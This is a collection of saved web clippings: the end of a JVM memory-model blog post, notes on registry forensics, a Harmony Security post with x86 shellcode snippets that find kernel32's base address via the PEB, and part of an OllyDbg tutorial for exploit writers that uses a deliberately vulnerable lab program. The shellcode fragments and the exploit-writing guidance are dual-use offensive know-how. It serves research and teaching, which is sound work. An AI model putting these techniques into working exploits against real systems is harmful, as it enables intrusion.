created on virtual machine start-up. All class **i nstances** and **a rrays**
are **a llocated** in the heap \(with the **n ew** operator\).

[code]

     MyClass myVariable = new MyClass();
     MyClass[] myArrayClass = new MyClass[1024];
    
[/code]

This zone must be managed by a **g arbage collector **to remove the instances
allocated by the developer when they are not used anymore. The strategy for
cleaning the memory is up to the JVM implementation \(for example, Oracle
Hotspot provides multiple algorithms\).

The heap can be dynamically expanded or contracted and can have a fixed
minimum and maximum size. For example, in Oracle Hotspot, the user can specify
the minimum size of the heap with the Xms and Xmx parameters by the following
way “java -Xms=512m -Xmx=1024m …”

Note: There is a maximum size that the heap can’t exceed. If this limit is
exceeded the JVM throws an **O utOfMemoryError.**

## Method area

The Method area is a memory shared among all Java Virtual Machine Threads. It
is created on virtual machine start-up and is loaded by **c lassloaders** from
bytecode. The data in the Method Area stay in memory as long as the
classloader which loaded them is alive.

The method area stores:

  * class information \(number of fields/methods, super class name, interfaces names, version, …\)
  * the bytecode of methods and constructors.
  * a runtime constant pool per class loaded.

The specifications don’t force to implement the method area in the heap. For
example, until JAVA7, Oracle **H otSpot** used a zone called PermGen to store
the Method Area. This **P ermGen** was contiguous with the Java heap \(and
memory managed by the JVM like the heap\) and was limited to a default space
of 64Mo \(modified by the argument -XX:MaxPermSize\). Since Java 8, HotSpot
now stores the Method Area in a separated native memory space called the **M
etaspace**, the max available space is the total available system memory.

Note: There is a maximum size that the method area can’t exceed. If this limit
is exceeded the JVM throws an **O utOfMemoryError.**

## Runtime constant pool

This pool is a subpart of the Method Area. Since it’s an important part of the
metadata, Oracle specifications describe the Runtime constant pool apart from
the Method Areas. This constant pool is increased for each loaded
class/interface. This pool is like a symbol table for a conventional
programming language. In other words, when a class, method or field is
referred to, the JVM searches the actual address in the memory by using the
runtime constant pool. It also contains constant values like string litterals
or constant primitives.

[code]

    String myString1 = “This is a string litteral”;
    static final int MY_CONSTANT=2;
    
[/code]

## The pc Register \(Per Thread\)

Each thread has its own pc \(program counter\) register, created at the same
time as the thread. At any point, each Java Virtual Machine thread is
executing the code of a single method, namely the **c urrent method** for that
thread. The pc register contains the address of the Java Virtual Machine
instruction \(in the method area\) currently being executed.

Note: If the method currently being executed by the thread is native, the
value of the Java Virtual Machine’s pc register is undefined.The Java Virtual
Machine’s pc register is wide enough to hold a returnAddress or a native
pointer on the specific platform.

## Java Virtual Machine Stacks \(Per Thread\)

The stack area stores multiples frames so before talking about stacks I’ll
present the frames.

### Frames

A frame is a data structure that contains multiples data that represent the
state of the thread in the **c urrent method** \(the method being called\):

  * **O perand Stack**: I’ve already presented the operand stack in the chapter about stack based architecture. This stack is used by the bytecode instructions for handling parameters. This stack is also used to pass parameters in a \(java\) method call and to get the result of the called method at the top of the stack of the calling method.

  * **L ocal variable array**: This array contains all the local variables in a scope of the current method. This array can hold values of primitive types, reference, or returnAddress. The size of this array is computed at compilation time. The Java Virtual Machine uses local variables to pass parameters on method invocation, the array of the called method is created from the operand stack of the calling method.

  * **R un-time constant pool reference**: reference to the constant pool of the **c urrent class** of the **c urrent method** being executed. It is used by the JVM to translate symbolic method/variable reference \( ex: myInstance.method\(\)\) to the real memory reference.

###  Stack

Each Java Virtual Machine thread has a private _J ava Virtual Machine stack_,
created at the same time as the thread. A Java Virtual Machine stack stores
frames. A new frame is created and put in the stack each time a method is
invoked. A frame is destroyed when its method invocation completes, whether
that completion is normal or abrupt \(it throws an uncaught exception\).

Only one frame, the frame for the executing method, is active at any point in
a given thread. This frame is referred to as the **_c urrent frame_**, and its
method is known as the **_c urrent method_**. The class in which the current
method is defined is the **_c urrent class_**. Operations on local variables
and the operand stack are typically with reference to the current frame.

Let’s look at the following example which is a simple addition

[code]

    public int add(int a, int b){
      return a + b;
    }
    
    public void functionA(){
    // some code without function call
      int result = add(2,3); //call to function B
    // some code without function call
    }
    
[/code]

Here is how it works inside the JVM when the functionA\(\) is running on:

<img src='img/Temp2_4650.png' width='695' height='289' alt='example of the
state of a jvm method stack during after and before an inner call' />

Inside functionA\(\) the Frame A is the top of the stack frame and is the
current frame. At the beginning of the inner call to add \(\) a new frame
\(Frame B\) is put inside the Stack. Frame B becomes the current frame. The
local variable array of frame B is populated from popping the operand stack of
frame A. When add\(\) finished, Frame B is destroyed and Frame A becomes again
the current frame. The result of add\(\) is put on the operand stack of Frame
A so that functionA\(\) can use it by popping its operand stack.

Note: the functioning of this stack makes it dynamically expandable and
contractable. There is a maximum size that a stack can’t exceed, which limit
the number of recursive calls. If this limit is exceeded the JVM throws a **S
tackOverflowError**.

With Oracle HotSpot, you can specify this limit with the parameter -Xss.

## Native method stack \(Per Thread\)

This is a stack for native code written in a language other than Java and
called through JNI \(Java Native Interface\). Since it’s a “native” stack, the
behavior of this stack is entirely dependent of the underlying OS.

# Conclusion

I hope this article help you to have a better understanding of the JVM. In my
opinion, the trickiest part is the JVM stack since it’s strongly linked to the
internal functioning of the JVM.

If you want to go deeper:

  * you can read the JVM specifications here.
  * there is also a very good article here.
  * \(for French readers\) here is a series of 22 posts about JVM with a very strong focus on bytecode.

__Tweet

 ____1

This page has been shared 1 times. View these Tweets.

0

JVM

jvm memory runtine data areas

.

### Related Posts

.

  * References in JAVA
  * Memory optimisation: Custom Set

«« How does a HashMap work in JAVA How does Shazam work »»

.

### Leave a Reply

Be the First to Comment\!

<img src='img/?s=48&d=mm&r=g.jpg' width='48' height='48' />

<img src='img/Temp2_4652.png' width='12' height='12' />

<img src='img/ajax-loader-200x200.gif.pagespeed.ce.fw164qIOv8.gif' width='64'
height='64' />

Top 10 articles

  * How does Shazam work   
120,576 views | 48 comments
  * How does a relational database work   
88,547 views | 75 comments
  * How does a HashMap work in JAVA   
3,186 views | 5 comments
  * How to conduct technical interviews?   
1,995 views | 6 comments
  * What is a good application?   
1,648 views | 1 comment
  * JVM memory model   
1,470 views | 0 comments
  * Design Pattern: factory patterns   
1,010 views | 0 comments
  * Machine Learning: Andrew NG’s course from coursera   
767 views | 0 comments
  * References in JAVA   
725 views | 0 comments
  * Design pattern: singleton, prototype and builder   
641 views | 2 comments

.

Categories

  * Algorithm \(3\) 
  * Design Pattern \(3\) 
  * Java \(2\) 
  * JVM \(2\) 
  * Methodology \(3\) 
  * review \(2\) 
  * Tool \(1\) 

.

Tags

algorithm big data builder cousera database design pattern eclipse factory
garbage collector hashmap hashset HashTable java jvm Liskov LSP machine
learning memory mooc music opinion prototype quantum mechanics reference
runtine data areas set shortcut key singleton soft reference WeakHashMap weak
reference work

.

.

.

.

.

Proudly powered by  WordPress  Premium Style Theme by  www.gopiplus.com

  

  *[
April 1, 2015 ]: 11:57 am

  *[
June 18, 2015 ]: 1:47 pm

# The Windows NT Registry File Format

**Created:**| _7/22/2009 1:10:42 PM_  
---|---  
**Updated:**| _7/22/2009 1:10:49 PM_  
**Author:**| __  
**Tags:**| _windows security_  
  

**Abstract**  
  
The Windows registry serves as a primary storage location for system
configurations and other information. Numerous third-party commercial and open
source tools have been released to interpret and manipulate registry hives,
but a comprehensive description of the registry's data structures seems to be
missing from the public domain. This document attempts to shed light on the
details of the registry format and will be updated as more information is made
available.

  

# Into The Boxes: Issue 0×0 « Into The Boxes

**Created:**| _1/1/2010 3:00:04 PM_  
---|---  
**Updated:**| _1/1/2010 3:00:10 PM_  
**Author:**| __  
**Tags:**| _bookmark Forensics_  
  

## Into The Boxes: Issue 0×0

It is official. Harlan and I are proud to announce the first edition of Into
The Boxes – Digital Forensics and Incident Response Magazine.

Into The Boxes: Issue 0×0

Of course this release would not have been possible if it were not for the
contributions of Didier Stevens and Jamie Levy. These two produced, in our
opinion, two very good articles that will benefit your analysis efforts and
overall education. We all owe these two a big thank you for helping us get
this effort moving forward. There were several others who also provided us
various forms of encouragement and article submittals but, for various
reasons, were not able to provide contend for this publications. Harlan and I
would also like to thank these people as well and let them know we are looking
forward to their submittals for Issue 0×1 in addition to their continued
verbal support.

This issue contains four specific articles that cover a variety of digital
forensic and incident response issues. More specifically:

Windows Box: Windows 7 UserAssist Registry Keys by Didier Stevens.

> This is an analysis of the new UserAssist registry keys binary data format
> used in Windows 7 and Windows 2008 R2.
\*nix Box: Red Hat Crash Memory Forensics – Jamie Levy

> This article covers the installation and use of Redhat Crash Utility for
> Linux memory forensics.
Software Box: Beware The Preview Pane – Don C. Weber

> A quick dip into the preview pane functionality provided by AccessData’s FTK
> Imager and FTK Imager Lite.
Squawk Box: PCI Interview with Harlan Carvey

> An interview about digital forensics and incident response as it pertains to
> Payment Card Industry-related investigations.
As always, please let us know how you feel and provide us with recommendations
and article submittals for future ITB efforts. We look forward to your
comments and blog posts about these subjects.

Go forth and do good things,

Don C. Weber

# Harmony Security : Blog

**Created:**| _6/20/2009 8:53:28 PM_  
---|---  
**Updated:**| _6/20/2009 8:53:44 PM_  
**Author:**| __  
**Tags:**| _windows security Exploit reversing_  
  

# Blog

## 19 June 2009 - Retrieving Kernel32's Base Address

For shellcode, a common method to resolve the addresses of library functions
needed, is to get the base address of the kernel32.dll image in memory and
retrieve the addresses of GetProcAddress and LoadLibraryA by parsing the
kernel32 images Export Address Table \(EAT\). These two functions can then be
used to resolve the remaining functions needed by the shellcode. To retrieve
the kernel32.dll base address most shellcodes use the Process Environment
Block \(PEB\) structure to retrieve a list of modules currently loaded in the
processes address space. The InInitializationOrder module list pointed to by
the PEB's Ldr structure holds a linked list of modules. Typically the second
entry in this list has always been that of kernel32.dll. The code used to
retrieve the kernel32 base address based on this method is shown below:

`xor ebx, ebx // clear ebx  
mov ebx, fs:[ 0x30 ] // get a pointer to the PEB  
mov ebx, [ ebx + 0x0C ] // get PEB->Ldr  
mov ebx, [ ebx + 0x1C ] // get PEB->Ldr.InInitializationOrderModuleList.Flink
(1st entry)  
mov ebx, [ ebx ] // get the next entry (2nd entry)  
mov ebx, [ ebx + 0x08 ] // get the 2nd entries base address (kernel32.dll)  
`

This method has worked for all versions of Windows from Windows 2000 up to and
including Windows Vista. The introduction of Windows 7 \(rc1\) has broken this
method of retrieving the kernel32 base address due to the new MinWin kernel
structure employed by Windows 7. A new module kernelbase.dll is loaded before
kernel32.dll and as such appears in the second entry of the
InInitializationOrder module list.

To retrieve the kernel32.dll base address in a generic manner on all versions
of Windows from Windows 2000 up to and including Windows 7 \(rc1\) a slightly
modified approach can be used. Instead of parsing the PEB's
InInitializationOrder module list, the InMemoryOrder module list can be parsed
instead. The third entry in this list will always be that of kernel32.dll
\(The first being that of the main module and the second being that of
ntdll.dll\). The code used to retrieve the kernel32 base address based on this
method is shown below:

`xor ebx, ebx // clear ebx  
mov ebx, fs:[ 0x30 ] // get a pointer to the PEB  
mov ebx, [ ebx + 0x0C ] // get PEB->Ldr  
mov ebx, [ ebx + 0x14 ] // get PEB->Ldr.InMemoryOrderModuleList.Flink (1st
entry)  
mov ebx, [ ebx ] // get the next entry (2nd entry)  
mov ebx, [ ebx ] // get the next entry (3rd entry)  
mov ebx, [ ebx + 0x10 ] // get the 3rd entries base address (kernel32.dll)`

This code has been verified on the following systems:  

  * Windows 2000 SP4  

  * Windows XP SP2  

  * Windows XP SP3  

  * Windows 2003 SP2  

  * Windows Vista SP1  

  * Windows 2008 SP1  

  * Windows 7 RC1

To verify this on your own system you can use the following tool:
GetKernel32Base.zip

The following WinDbg session shows how we can manually verify the above method
on a Windows 7 RC1 system:

0:004> version  
Windows 7 Version 7100 UP Free x86 compatible  
Product: WinNt, suite: SingleUserTS  
kernel32.dll version: 6.1.7100.0 \(winmain\_win7rc.090421-1700\)  
...  
  
// list the loaded modules...  
0:004> lm  
start end module name  
00d20000 00de0000 calc \(pdb symbols\)  
70930000 70a77000 msxml6 \(pdb symbols\)  
725c0000 725fc000 oleacc \(pdb symbols\)  
73e10000 73e42000 WINMM \(pdb symbols\)  
73e50000 73f49000 WindowsCodecs \(pdb symbols\)  
74170000 74183000 dwmapi \(pdb symbols\)  
742c0000 74450000 gdiplus \(pdb symbols\)  
74450000 74490000 UxTheme \(pdb symbols\)  
745d0000 7476c000 COMCTL32 \(pdb symbols\)  
74b50000 74b59000 VERSION \(pdb symbols\)  
755a0000 755ac000 CRYPTBASE \(pdb symbols\)  
756d0000 75718000 KERNELBASE \(pdb symbols\)  
75950000 7596f000 IMM32 \(pdb symbols\)  
75970000 759ff000 OLEAUT32 \(pdb symbols\)  
75a00000 75ac9000 USER32 \(pdb symbols\)  
75ae0000 75bac000 MSCTF \(pdb symbols\)  
75d60000 75e02000 RPCRT4 \(pdb symbols\)  
75e60000 75f0c000 msvcrt \(pdb symbols\)  
75f50000 75ff0000 ADVAPI32 \(pdb symbols\)  
75ff0000 7608d000 USP10 \(pdb symbols\)  
76090000 76113000 CLBCatQ \(pdb symbols\)  
76120000 7627b000 ole32 \(pdb symbols\)  
76280000 762d7000 SHLWAPI \(pdb symbols\)  
763e0000 77026000 SHELL32 \(pdb symbols\)  
77030000 77049000 sechost \(pdb symbols\)  
77050000 77124000 kernel32 \(pdb symbols\)  
77160000 771ae000 GDI32 \(pdb symbols\)  
77500000 7763c000 ntdll \(pdb symbols\)  
77720000 7772a000 LPK \(pdb symbols\)  
  
// dump the PEB...  
0:004> \!peb  
PEB at 7ffdc000  
InheritedAddressSpace: No  
ReadImageFileExecOptions: No  
BeingDebugged: Yes  
ImageBaseAddress: 00d20000  
Ldr 775d7880  
Ldr.Initialized: Yes  
Ldr.InInitializationOrderModuleList: 00221a28 . 002b13a0  
Ldr.InLoadOrderModuleList: 00221988 . 002b1390  
Ldr.InMemoryOrderModuleList: 00221990 . 002b1398  
...  
  
// show the Ldr.InInitializationOrderModuleList  
// dump the first entry...  
0:004> dd 00221a28  
00221a28 00221e68 775d789c 77500000 00000000 // 77500000 = ntdll.dll  
00221a38 0013c000 003c003a 002218e8 00140012  
00221a48 7756835c 00004004 0000ffff 775da680  
00221a58 775da680 49eea66e 00000000 00000000  
// dump the second entry...  
0:004> dd 00221e68  
00221e68 00221d50 00221a28 756d0000 756d8005 // 756d0000 = KERNELBASE.dll  
00221e78 00048000 00460044 00221df8 001e001c  
00221e88 00221e20 00084004 0000ffff 0022a9b4  
00221e98 775da690 49eea60f 00000000 00000000  
// we can see the second entry is for kernelbase.dll and not kernel32.dll  
  
// show the Ldr.InMemoryOrderModuleList  
// dump the first entry...  
0:004> dd 00221990  
00221990 00221a20 775d7894 00000000 00000000  
002219a0 00d20000 00d30140 000c0000 003a0038 // 00d20000 = calc.exe  
002219b0 002217fa 00120010 00221822 00004000  
002219c0 0000ffff 00222b84 775da6a8 49ee917f  
// dump the second entry...  
0:004> dd 00221a20  
00221a20 00221d48 00221990 00221e68 775d789c  
00221a30 77500000 00000000 0013c000 003c003a // 77500000 = ntdll.dll  
00221a40 002218e8 00140012 7756835c 00004004  
00221a50 0000ffff 775da680 775da680 49eea66e  
// dump the third entry...  
0:004> dd 00221d48  
00221d48 00221e60 00221a20 002227e8 00221e68  
00221d58 77050000 770a102d 000d4000 00420040 // 77050000 = kernel32.dll  
00221d68 00221ce0 001a0018 00221d08 00084004  
00221d78 0000ffff 002248a4 775da640 49eea60e  
// we can see the third entry is for kernel32.dll  

Labels: Exploitation, Reverse Engineering

# Debugging Fundamentals for Exploit Development | InfoSec Resources
**Created:**| _3/9/2011 11:31:50 AM_  
---|---  
**Updated:**| _3/9/2011 11:32:02 AM_  
**Author:**| __  
**Tags:**| _Debugging Exploit Tutorials_  
  

## Debugging Fundamentals for Exploit Development

February 28th, 2011|By: Bradshaw Stephen|Topics: |2 Comments

**Introduction  
**

This is a basic exploit writers tutorial for OllyDbg, a 32 bit assembler level
analyzing user mode debugger for Windows. Version 1.10 of OllyDbg is used, but
the majority of the techniques discussed should also be applicable to other
versions of OllyDbg \(including version 2\) as well as to the Immunity
Debugger, which is based on OllyDbg.

My intention with this tutorial is to provide a reference to those who want to
learn how to use the OllyDbg debugger to facilitate the writing of basic to
intermediate level software exploits. In the past, my tendency has been to
intersperse debugger usage tips into tutorials designed to teach exploitation
skills. I found however, that this approach tended to take attention away from
the main purpose of the article – to teach how to exploit software. This
tutorial is intended to build a foundation of the basic skills necessary
before the more complex skills of exploit writing can be effectively taught.
No previous debugger knowledge is required to follow along, but if you already
have some skills with a debugger you can skip any areas with which you are
already familiar.

This tutorial uses the deliberately vulnerable program Vulnserver as its
debugging target. You should obtain a copy of Vulnserver from the following
link and extract the archive to your hard disk in order to follow along with
the steps in this tutorial. When running this program, make sure that your
firewall allows the necessary traffic, but ensure that you don’t grant access
from untrusted networks like the Internet. Read the details provided at the
download page for more information. Download Vulnserver from here:
http://grey-corner.blogspot.com/2010/12/introducing-vulnserver.html

In addition, you should also install Perl on your Windows system, as this
guide will make use of a number of Perl scripts in order to trigger certain
actions within the debugger. ActiveState has a free Perl distribution called
ActivePerl you can use for this purpose. All of the commands in this tutorial
referencing Perl scripts will be provided under the assumption that they are
being run from the same system that is running OllyDbg. You can run the
scripts from another location if you wish, but you will need to modify some of
the command line options accordingly. ActivePerl can be downloaded from here:
http://www.activestate.com/activeperl .

You will also, obviously, need a copy of the OllyDbg debugger, version 1.10.
This can be downloaded from here: http://www.ollydbg.de/ .

Before beginning this tutorial, we will be referring to a vulnerability we
discovered in an earlier exercise. You may want to familiarize yourself with
how the vulnerability was discovered here:

http://resources.infosecinstitute.com/intro-to-fuzzing/

http://resources.infosecinstitute.com/fuzzer-automation-with-spike/

This tutorial is broken up into two articles and the first article will cover
the following subjects:

  * Starting the Debugger
  * Opening and Attaching to the debugging target application
  * The OllyDbg CPU view
  * The 20 second guide to X86 Assembly language for exploit writers

We cover the following subjects in the second article:

  * Methods for directing code execution in the debugger
  * The SEH chain
  * Searching for commands
  * Searching through memory
  * Working in the memory dump
  * Editing code, memory and registers
  * Help in calculating relative address differences
  * Plugins

**Starting the Debugger  
**

Before starting OllyDbg, you need to ensure that you are using an account that
has the appropriate privileges, generally local Administrator equivalent.

To start OllyDbg on Windows XP/2003 or below, simply double click on the
OllyDbg executable or shortcut, just as you would any other Windows
application. If you are running OllyDbg on Windows Vista or above, you will
need to ensure that you run it using the “Run as Administrator” option,
available when you right click on the executable or shortcut. If you don’t run
the program with Administrative privileges, you won’t be able to properly
perform your debugging tasks.

**Opening and Attaching to the debugging target application  
**

Once OllyDbg has been opened, the first thing you will want to do is to access
the target application you want to analyze within the debugger.

There are two main primary ways to achieve this:

  * By opening the target executable from disk using the **File** ->**Open** menu option, or
  * By attaching to an already running program using the **File** ->**Attach** menu option.

What’s the difference between the two methods? By choosing to open the program
directly from disk you can control execution of the program from the very
start, whereas when you attach to an already running program you can only take
control from the point at which you perform the attach operation. For exploit
writing this distinction may not actually matter, as long as you actually
start the process sufficiently early before the actual crash you want to
attempt to exploit.

Generally, if I have a choice, I usually “open” executables instead of
attaching to their running processes, because this allows me to catch all of
the program’s operation, and to restart it easily from within the debugger
interface. Sometimes, however this may not be a convenient option, like in
cases where you are trying to exploit an executable running as a Windows
service, and in this case attaching may work sufficiently well. Just be aware
that if you do this you may not be able to restart the program from within the
debugger — you may need to use something like the Services control panel if
the executable runs as a service.

You may also find that in some cases, programs don’t like being “attached” to
when they are running, so it is wise to perform some testing to ensure that
the program operates normally after you attempt this. To do this, you should
let the program run and confirm it still behaves as it usually does after you
have “attached” the debugger.

Now, open OllyDbg, if you haven’t already, and try using the **File- >Open**
menu option to open vulnserver.exe from where it is stored on your hard disk.

You should see something like the following.

<img src='img/Temp2_2025.png' />

Now use the **Debug- >Close** menu option to close this debugging session, and
hit **Yes** if the “Process still active” warning message appears. This is
essentially just telling you that you are about to terminate an active process
— and in this case this is exactly what we want to do. You can turn this
warning off under the **Options- >Debugging Options** menu option, by
selecting the **Security** tab and unticking the **Warn when terminating
active process** option. I highly recommend you do this, as this warning can
get tiresome very quickly.

Now, navigate to the location on disk where vulnserver.exe is stored using
Windows Explorer and double click on it to run it. Now switch back to OllyDbg,
and select the **File- >Attach** menu option. A list of running processes will
appear. Select vulnserver from the list \(it might help you find it if you
sort the list by name first\) and hit the**Attach** button.

You should now see the following.

<img src='img/Temp2_2027.png' />

Now use the **Debug- >Close** menu option again to close the debugging
session.

If you compare the two methods of creating the debug session by checking the
bottom left hand corner of the screen in the debugger, you will notice that
“opening” the program seems to enter the program at the “Program entry point”,
and “attaching” to it enters by having the “Attached program paused at
ntdll.DbgBreakpoint.” We can see right there that there is a difference in the
way that the session begins.

In both cases the program was automatically “Paused” after you started the
debugging session \(see the Paused text in the bottom right hand corner\). We
will go into more detail about what this actually means later on in this
tutorial.

**The OllyDbg CPU view  
**

Use the **File- >Open** menu option to open up vulnserver.exe.

You should now be greeted by the OllyDbg CPU view, which is the default
OllyDbg view and the one we will be spending the majority of our time in as
exploit writers. The view is broken into four main panes, as shown in the
screenshot below.

The pane in the top left corner of the screen shows the actual instructions of
the program we are about to run. I will be referring to this as the CPU
instruction or disassembler pane \(since it shows instructions disassembled
from their binary format\).

From left to right, the columns in this pane show:

  * the memory address of each instruction,
  * the hexadecimal representation of each byte that comprises that instruction \(or if you prefer, the “opcode” of that instruction\),
  * the instruction itself in X86 assembly language, shown \(by default\) in MASM syntax, and finally
  * an information/comment column which shows string values, higher level function names, user defined comments, etc.

I’ll delve deeper into what this assembly stuff is and how to interpret it in
the next section, but for now just realize that this top left hand pane is
where the assembly instructions are shown.

The pane in the top right hand corner of the screen shows the value of various
registers and flags in the CPU. I will be referring to this as the register
pane. These registers are small storage areas within the CPU itself, and they
are used to facilitate various operations that are performed within the X86
assembly language. I will cover the purpose of these registers in the
following section in this tutorial.

The pane in the bottom left hand corner shows a section of the programs
memory. I will be referring to this as the memory dump pane. Within this pane
you can view memory in a variety of different formats, as well as copy and
even change the contents of that memory.

The pane in the bottom right hand corner shows the stack. I will be referring
to this as the stack pane. The left hand column in this pane contains memory
addresses of stack entries, the second column contain the values of those
stack entries, and the right hand column contains information such as the
purpose of particular entries or additional detail about their contents.

There is also an optional third column in the stack pane that will display an
ASCII or Unicode dump of the stack value — this can be enabled by right
clicking on the stack pane and selecting either “Show ASCII dump” or “Show
UNICODE dump.” The next section contains some more detail on the purpose of
the stack.

**_**__**_****The 20 second guide to X86 assembly language for exploit writers  
**

If you want to write software exploits, you need to understand assembly.

Now, what I refer to as assembly is actually a generic term for low level
programming language that operates only one step above basic machine code \(1s
and 0s\) that is natively executed by a CPU. Because assembly is so closely
related to the code a CPU directly executes, it is actually CPU specific. That
means different families of CPU have different assembly languages. You can’t,
for example, run assembly code written for the Sun SPARC CPU architecture on a
X86 processor, a IA-64 bit processor or a MIPS processor. These CPUs all have
different assembly languages. OllyDbg, and this tutorial, will focus
specifically on the 32 X86 architecture used on the vast majority of “common
use” 32 bit systems in the world.

This section is only intended to provide a very brief guide to this language —
hopefully just enough to get you started on your exploitation journey, but
almost definitely not enough to cover all possible scenarios you may face in
this area. You should expect to have to do some research of your own on this
topic to get really comfortable.

I also will not be covering how to write assembly, just how to interpret it in
OllyDbg, and I am going to be simplifying things in some cases for the sake of
brevity. I would suggest that that anything written in this section not be
taken as gospel, but more as a general set of guidelines to help you gain a
basic level of understanding of assembly so you can get going with exploit
writing.

This section is a reasonably long one, and I have broken it up into a number
of sub-sections as follows:

  * Syntax and other boring stuff
  * Registers and flags
  * The stack
  * Assembly Instructions

**_Syntax and other boring stuff  
_**

Before we get into the nitty gritty of things here, I will just cover off on
some detail about the syntax of the assembly instructions you will see in
Ollydbg, and also discuss an important point about the endian order on the X86
processor.

OllyDbg, by default, uses the MASM syntax when it disassembles the raw machine
code instructions of an executable into the more digestible assembly code you
can see in the CPU view. MASM syntax, when there are two operands to an
instruction, places the destination operand first and the source operand
second. As an example, the following command will copy the contents of the
register EAX to the register ECX

`mov ECX, EAX  
`

I will go into more detail about some of the particular instructions available
later on in this guide, but for now just remember that in MASM syntax the
destination for an instruction comes first and the source second. You can
choose a different syntax for OllyDbg to use in the **Options- >Debugging
options** menu, under the **Disasm** tab. I will be using MASM syntax in this
tutorial.

One other thing to be aware of here is the endian order of the X86 processor —
little endian. This essentially means that certain values are represented in
the CPU, left to right, from least to most significant bytes.

Bytes are shown in OllyDbg as two digit hexadecimal numbers with possible
values of 0 to F \(0123456789ABCDEF\) for each digit, with the decimal
equivalent of the digits A-F being 10-16. The highest possible single byte
value is FF \(sometimes preceded by “0x” and written as 0xFF to denote that
hexadecimal numbering is being used\) which is equivalent to 255 in decimal.

If you are at all unfamiliar with hexadecimal numbering I suggest you do some
reading on the subject so you get a good understanding of how it works,
because this is a critical subject for exploit writing work \(Google
“hexadecimal numbers” for some good references\). You can easily convert
between hexadecimal and decimal formats using a good computer based
calculator, like the Windows Calculator or something like kcalc on Linux. Just
switch the calculators view modes until you see the letter keys appear, and
then use the appropriate controls, which will probably be labeled something
like “Hex” and “Dec” to switch as needed.

As an example of how the little endian order works, if we want to represent a
hexadecimal number such as 12ABCDEF in little endian order, we would actually
write the number as EFCDAB12. What we have done is break the number into its
individual component bytes:

`12ABCDEF  
`

becomes

`12 AB CD EF  
`

And then we reverse the order of those bytes and put them back together.

`EF CD AB 12  
`

becomes

`EFCDAB12  
`

Remember here that we are only reversing the order of the bytes, not the
digits that the bytes are comprised of. You would not reverse the order of the
1 and 2 within the first byte of 12 for example. Have a look at this a few
times to make sure you understand it. This reversing of the bytes is something
that you need to understand when you come to actually writing buffer overflow
exploits, as having a firm grasp of this will allow you to be sure that the
values you insert into the code via your exploits are interpreted correctly by
the CPU.

**_Registers and Flags  
_**

There are nine different 32 bit registers shown in OllyDbg \(in the registers
pane — top right hand pane of the CPU view\). As mentioned earlier, these
registers are storage areas inside the CPU that can each hold four bytes \(32
bits\) of data. While these registers all have nominal purposes \(being used
for particular things by most programs\) the majority of these registers can
be used to store any old value that fits. For practical purposes, as an
exploit writer you can generally think of most of the registers only as very
small storage areas. There are two important exceptions to this however, and
these are the EIP and ESP registers, which have very specific purposes that
you do need to be aware of.

The EIP register is known as the instruction pointer, and its purpose is to
“point” to the memory address that contains the next instruction that the CPU
is to execute. Assuming you have OllyDbg open with vulnserver.exe being
debugged, looking at the EIP register should show a value that matches the
memory address of the selected entry in the top left hand pane of the OllyDbg
CPU view. When the debugged program is allowed to continue, this is the first
instruction that the CPU will run. All of the assembly focused exploitation
techniques focus on various different ways of making this EIP register point
to somewhere of the attacker’s choosing, so their own code can be run.

The ESP register is known as the stack pointer, and this contains a memory
address that “points” to the current location on the stack. Looking at OllyDbg
again, the value in ESP should correspond with the address of the highlighted
value in the stack pane in the bottom right hand corner of the CPU view. See
the next section for more details on the operation of the stack.

The flags register is a collection of single bit values that are used to
indicate the outcome of various operations. You can see the values of the
flags just below the EIP register in the top right hand pane of OllyDbg, the
C, P, A, Z, S, T, D, and O designators and the numbers \(0 or 1\) next to them
show whether each particular flag is on or off. The flag values are mostly
used to control the outcomes for conditional jumps, which will be discussed a
bit later on.

Operations to set the values of the registers will replace any existing values
currently being held. It is however, possible to set \(or access\) only part
of a value of a register by the use of subregisters.

If you want more information on these registers and flags, as well as
subregisters you can check here:http://msdn.microsoft.com/en-
us/library/ff561502%28v=vs.85%29.aspx

<img src='img/Temp2_2026.png' />

The values of the registers and flags we have discussed are located in the top
right hand pane of the CPU view in OllyDbg. In the screenshot above, the
topmost red rectangle is surrounding the registers, and the red rectangle
immediately below it is surrounding the flags.

**_The Stack  
_**

The stack is a special memory structure that is used to make the operation of
functions more efficient. Functions, for those unfamiliar with programming
terms, are sections of code that perform a specific purpose that can be called
from within other code. When the operation of a function is complete, it hands
control back to the calling code, which should continue executing from where
it left off. I say “should continue executing from where it left off” because
stack overflows, one of the most common and simple to exploit code execution
vulnerabilities around, actually subvert this process to gain control of a
program.

The stack is comprised of a number of 32 bit values, piled on top of each
other like a stack of plates. It is a LIFO \(Last In First Out\) structure,
which means that only the top most entry can be accessed \(or taken off the
stack\), and any new entries added must be added on top of existing ones. As
an example, if you want to access the third entry on the stack using stack
management processes, you can’t just go straight at it; you have to remove the
two entries above it first. The process of reading an entry on the stack also
usually involves removing it from the stack.

The stack takes up a defined section of memory space and grows downwards to
smaller addresses in memory from its base address. As an example, if the base
address of the stack was 2222FFFF, the bottom stack entry would be at address
2222FFFC, the next entry would be at 2222FFF8, the next at 2222FFF4 and so on.
The top entry on the stack, the one that can be accessed, is pointed to by the
stack pointer register, ESP. As stack operations are performed, such as adding
or removing entries, the ESP register will be automatically updated to reflect
these changes with the value of the register getting smaller if new entries
are added, or larger if entries are removed \(remember that the stack grows
downward — to smaller addresses.\) By the same token, changing the value of
the ESP register by other means \(such as by directly setting it\) will also
change the current position on the stack.

The stack is used to hold a lot of interesting things, including the local
variables of functions, the return addresses that functions should return to
once they are complete as well as certain exception handling addresses.

<img src='img/Temp2_2028.png' />

In OllyDbg, a representation of the data in the stack is shown in the bottom
right hand pane of the CPU view, inside the area enclosed in red in the
screenshot above. Each line in the section of the screenshot in red represents
an entry on the stack.

**_Assembly Instructions  
_**

Now we have taken the 10,000 meter view of the registers and the stack, we can
examine some of the instructions in the assembly language that can be used to
manipulate them. There are a large number of these instructions, but I am only
going to focus on just a few, the ones that exploit writers absolutely must
know. These particular instructions may not suffice for all of your exploiting
activities, but I have found that they are the most commonly used for
exploitation, so they are a great place to start.

Something to note about these instructions is that each instruction has an
equivalent opcode, and where there are different variants of an instruction,
it will have a different opcode to allow the CPU to differentiate between
them. If you look in the second column of the disassembler pane of the CPU
view in OllyDbg, you will see the opcodes for each instruction being executed.

I will cover the following instructions in this section:

  * JMP
  * CALL
  * POP
  * PUSH
  * RETN
  * INT3
  * NOP

JMP  

By default, the CPU will execute its instructions one after the other,
starting with the first instruction, then continuing with the second, and so
on. A JMP is one of a number of instructions that tells the CPU to move to
another location with the code, and to continue execution from there. There
are a number of different types of JMP instructions, some that “jump” a
distance backwards or forwards \(relative to the current location in memory\),
